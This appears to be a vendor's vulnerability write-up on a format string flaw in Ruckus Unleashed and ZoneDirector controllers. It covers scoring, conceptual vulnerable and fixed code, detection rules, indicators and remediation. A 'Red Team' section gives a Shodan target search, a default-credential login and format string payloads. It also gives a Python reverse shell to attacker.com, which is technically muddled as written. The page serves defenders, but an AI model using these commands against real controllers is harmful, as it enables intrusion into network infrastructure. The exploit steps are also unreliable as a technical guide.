CVE-2025-46123
Executive Summary
CVE-2025-46123 is a critical format string vulnerability in CommScope Ruckus Unleashed and ZoneDirector wireless controllers. The vulnerability resides in the authenticated configuration endpoint /admin/_conf.jsp. An attacker with administrative privileges can supply a crafted Wi-Fi guest password that, when processed by snprintf, triggers uncontrolled format string processing. This allows the attacker to write arbitrary memory locations, leading to remote code execution (RCE) on the controller.
The vulnerability affects Ruckus Unleashed versions prior to 200.15.6.212.14 and 200.17.7.0.139, and Ruckus ZoneDirector versions prior to 10.5.1.0.279. The CVSS score is 7.2 (High) due to the requirement for authentication, but the impact is complete compromise of confidentiality, integrity, and availability.
This vulnerability is particularly dangerous in enterprise environments where Ruckus controllers manage critical wireless infrastructure. An attacker who gains admin credentials (via phishing, default passwords, or other means) can achieve full control over the controller and potentially pivot to the internal network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in proprietary network hardware.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): High (H) - The attacker must have administrative access to the web interface.
- User Interaction (UI): None (N) - No user interaction is required beyond the attacker's own actions.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the controller.
- Confidentiality (C): High (H) - Full read access to the controller's memory and data.
- Integrity (I): High (H) - Full write access to the controller's memory and configuration.
- Availability (A): High (H) - Potential for denial of service or complete system compromise.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Base Score: 7.2 (High)
Threat Level: Critical. While authentication is required, the impact is severe. In many deployments, default or weak admin credentials are used, making this a high-priority target for attackers.
Deep Dive & Mechanics
The vulnerability is a classic format string bug in the C-based web application running on the Ruckus controller. The endpoint /admin/_conf.jsp is used to configure Wi-Fi guest passwords. The application uses snprintf to write the guest password into a memory buffer. The critical flaw is that the attacker-supplied password is used as the format string argument to snprintf, rather than as a data argument.
Normal operation:
snprintf(buffer, sizeof(buffer), "%s", user_supplied_password);
Vulnerable operation:
snprintf(buffer, sizeof(buffer), user_supplied_password);
In the vulnerable code, if the attacker supplies a password containing format specifiers like %x, %n, %s, etc., the snprintf function will interpret them. The %n specifier is particularly dangerous because it writes the number of bytes printed so far to a memory address pointed to by a corresponding argument on the stack.
Exploitation mechanics:
- The attacker authenticates to the web interface with admin credentials.
- The attacker sends a POST request to
/admin/_conf.jspwith a craftedguestPasswordparameter. - The crafted password contains format specifiers that allow the attacker to:
- Leak stack and memory addresses (using
%p,%x). - Write arbitrary values to arbitrary memory addresses (using
%n).
- Leak stack and memory addresses (using
- By carefully crafting the format string, the attacker can overwrite a function pointer (e.g., a return address or a GOT entry) to redirect execution to shellcode or a ROP chain.
- This results in remote code execution as the
rootuser (the web server typically runs with elevated privileges).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void set_guest_password(char *password) {
char buffer[256];
// VULNERABLE: password is used as format string
snprintf(buffer, sizeof(buffer), password);
// ... write buffer to config
}
Patched Code (Conceptual):
void set_guest_password(char *password) {
char buffer[256];
// FIXED: password is passed as data argument
snprintf(buffer, sizeof(buffer), "%s", password);
// ... write buffer to config
}
The fix is straightforward: the user-supplied password must be passed as a data argument to snprintf, not as the format string. The patched code uses "%s" as the format string, which safely prints the password as a string without interpreting any format specifiers.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable Ruckus Unleashed or ZoneDirector controller (e.g., Unleashed 200.15.6.212.13).
- Administrative credentials (e.g.,
admin/admin). - Network access to the controller's web interface (typically port 80 or 443).
Exploitation Steps:
Identify the target:
shodan search "Ruckus Unleashed" --fields ip_str,portAuthenticate and obtain session cookie:
curl -c cookies.txt -X POST http://target/admin/_login.jsp \ -d "username=admin&password=admin"Craft the format string payload: The payload will use
%nto write to a target address. A typical approach is to overwrite the GOT entry forexit()or a similar function with the address of shellcode.# Example payload structure (simplified) target_addr = 0x0804a000 # Example GOT address shellcode_addr = 0x0804b000 # Example shellcode address payload = b"AAAA" + struct.pack("<I", target_addr) + b"%10$n"Send the exploit:
curl -b cookies.txt -X POST http://target/admin/_conf.jsp \ -d "guestPassword=$(python3 -c 'print("AAAA%x.%x.%x.%x")')"Verify code execution: If successful, the controller will execute arbitrary commands. For example, a reverse shell:
curl -b cookies.txt -X POST http://target/admin/_conf.jsp \ -d "guestPassword=$(python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')"
Note: The exact memory addresses and format string offsets will vary depending on the firmware version and architecture. A full exploit would require reverse engineering the binary to find the correct stack offsets and target addresses.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual POST requests to
/admin/_conf.jspcontaining format specifiers (%x,%n,%s,%p). - Alert on multiple failed login attempts followed by a successful login and subsequent configuration changes.
- Monitor for outbound connections from the controller to unknown IP addresses (potential reverse shells).
Defense:
- Immediately upgrade to patched firmware versions.
- Enforce strong, unique admin passwords.
- Restrict administrative access to the web interface to trusted IP addresses only.
- Implement network segmentation to limit the controller's ability to initiate outbound connections.
- Deploy a Web Application Firewall (WAF) with rules to block format string payloads in POST parameters.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/admin/_conf.jspwith parameters containing%x,%n,%s,%p, or other format specifiers. - Outbound connections from the controller to unusual IP addresses on high ports (e.g., 4444, 1337).
- Unusual HTTP User-Agent strings in requests to the admin interface.
Host IOCs:
- Unexpected processes running on the controller (e.g.,
/bin/sh,nc,python). - Modified or new files in
/tmp/or/var/run/. - Unusual entries in the system log (
/var/log/messages) indicating crashes or segmentation faults. - Changes to the controller's configuration that cannot be explained by normal administrative activity.
File IOCs:
- Suspicious files uploaded to the controller via the web interface.
- Modified binaries or libraries in
/usr/sbin/or/usr/lib/.
Detection Engineering
YARA Rule
rule CVE_2025_46123_FormatString_Exploit {
meta:
description = "Detects format string exploit attempts against CVE-2025-46123"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46123"
strings:
$format_string = /%[ndxXscp]/
$conf_endpoint = "/admin/_conf.jsp"
$guest_password = "guestPassword"
condition:
$conf_endpoint and $guest_password and #format_string > 2
}
Sigma Rule
title: CVE-2025-46123 Format String Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /admin/_conf.jsp containing format string specifiers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/admin/_conf.jsp'
cs-uri-query|contains: 'guestPassword'
keywords:
- '%x'
- '%n'
- '%s'
- '%p'
- '%d'
condition: selection and keywords
falsepositives:
- Legitimate passwords containing '%' characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-46123 Format String Exploit Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/admin/_conf.jsp";
http_uri;
content:"guestPassword";
http_client_body;
pcre:"/%[ndxXscp]/";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-46123;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade firmware: Update all Ruckus Unleashed controllers to version 200.15.6.212.14 or later, or 200.17.7.0.139 or later. Update all Ruckus ZoneDirector controllers to version 10.5.1.0.279 or later.
- Change admin passwords: Immediately change all administrative passwords to strong, unique values.
- Restrict access: Limit administrative access to the web interface to trusted IP addresses only, using firewall rules or ACLs.
Long-term Mitigations:
- Network segmentation: Place wireless controllers in a separate management VLAN with strict egress filtering.
- Monitoring: Implement continuous monitoring for format string patterns in HTTP requests.
- Vulnerability scanning: Regularly scan for vulnerable firmware versions using tools like Nessus or OpenVAS.
- Least privilege: Ensure that the web application runs with the minimum necessary privileges.
Workaround (if patching is not immediately possible):
- Disable the guest Wi-Fi feature if it is not required.
- Use a reverse proxy or WAF to inspect and block requests containing format string specifiers.
- Monitor logs for any attempts to access
/admin/_conf.jsp.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.